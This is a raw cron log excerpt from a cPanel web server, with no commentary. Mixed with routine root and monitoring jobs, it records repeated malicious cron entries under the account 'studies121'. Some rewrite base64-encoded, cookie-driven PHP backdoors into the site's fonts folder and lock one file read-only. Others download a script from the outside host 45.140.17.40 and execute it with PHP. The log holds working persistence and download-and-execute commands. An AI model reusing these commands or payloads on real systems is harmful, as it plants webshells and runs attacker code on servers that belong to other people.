Sep 22 17:33:01 ip-184-168-122-23 CROND[27869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:33:01 ip-184-168-122-23 CROND[27871]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:33:01 ip-184-168-122-23 CROND[27872]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:33:01 ip-184-168-122-23 CROND[27874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:34:01 ip-184-168-122-23 CROND[28336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:34:01 ip-184-168-122-23 CROND[28337]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 17:34:01 ip-184-168-122-23 CROND[28341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:34:01 ip-184-168-122-23 CROND[28342]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:34:01 ip-184-168-122-23 CROND[28344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:35:01 ip-184-168-122-23 CROND[29014]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 17:35:01 ip-184-168-122-23 CROND[29015]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:35:01 ip-184-168-122-23 CROND[29017]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 22 17:35:01 ip-184-168-122-23 CROND[29019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:35:01 ip-184-168-122-23 CROND[29020]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 17:35:01 ip-184-168-122-23 CROND[29024]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:35:01 ip-184-168-122-23 CROND[29026]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:35:01 ip-184-168-122-23 CROND[29028]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 17:36:01 ip-184-168-122-23 CROND[29789]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:36:01 ip-184-168-122-23 CROND[29790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:36:01 ip-184-168-122-23 CROND[29792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:36:01 ip-184-168-122-23 CROND[29791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:36:01 ip-184-168-122-23 CROND[29793]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 17:37:01 ip-184-168-122-23 CROND[30579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:37:01 ip-184-168-122-23 CROND[30578]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:37:01 ip-184-168-122-23 CROND[30580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:37:01 ip-184-168-122-23 CROND[30581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:38:01 ip-184-168-122-23 CROND[31233]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:38:01 ip-184-168-122-23 CROND[31235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:38:01 ip-184-168-122-23 CROND[31236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:38:01 ip-184-168-122-23 CROND[31238]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 17:38:01 ip-184-168-122-23 CROND[31237]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:39:01 ip-184-168-122-23 CROND[31332]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 17:39:01 ip-184-168-122-23 CROND[31331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:39:01 ip-184-168-122-23 CROND[31334]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:39:01 ip-184-168-122-23 CROND[31333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:39:01 ip-184-168-122-23 CROND[31335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:40:01 ip-184-168-122-23 CROND[31454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:40:01 ip-184-168-122-23 CROND[31453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:40:01 ip-184-168-122-23 CROND[31458]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:40:01 ip-184-168-122-23 CROND[31455]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 17:40:01 ip-184-168-122-23 CROND[31456]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 17:40:01 ip-184-168-122-23 CROND[31460]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 17:40:01 ip-184-168-122-23 CROND[31461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:40:01 ip-184-168-122-23 CROND[31462]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 17:41:01 ip-184-168-122-23 CROND[31580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:41:01 ip-184-168-122-23 CROND[31582]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:41:01 ip-184-168-122-23 CROND[31585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:41:01 ip-184-168-122-23 CROND[31586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:42:02 ip-184-168-122-23 CROND[32076]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:42:02 ip-184-168-122-23 CROND[32077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:42:02 ip-184-168-122-23 CROND[32079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:42:02 ip-184-168-122-23 CROND[32080]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 17:42:02 ip-184-168-122-23 CROND[32081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:43:01 ip-184-168-122-23 CROND[32322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:43:01 ip-184-168-122-23 CROND[32324]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:43:01 ip-184-168-122-23 CROND[32326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:43:01 ip-184-168-122-23 CROND[32328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:44:01 ip-184-168-122-23 CROND[32581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:44:01 ip-184-168-122-23 CROND[32583]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:44:01 ip-184-168-122-23 CROND[32584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:44:01 ip-184-168-122-23 CROND[32585]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 17:44:01 ip-184-168-122-23 CROND[32588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:45:01 ip-184-168-122-23 CROND[352]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
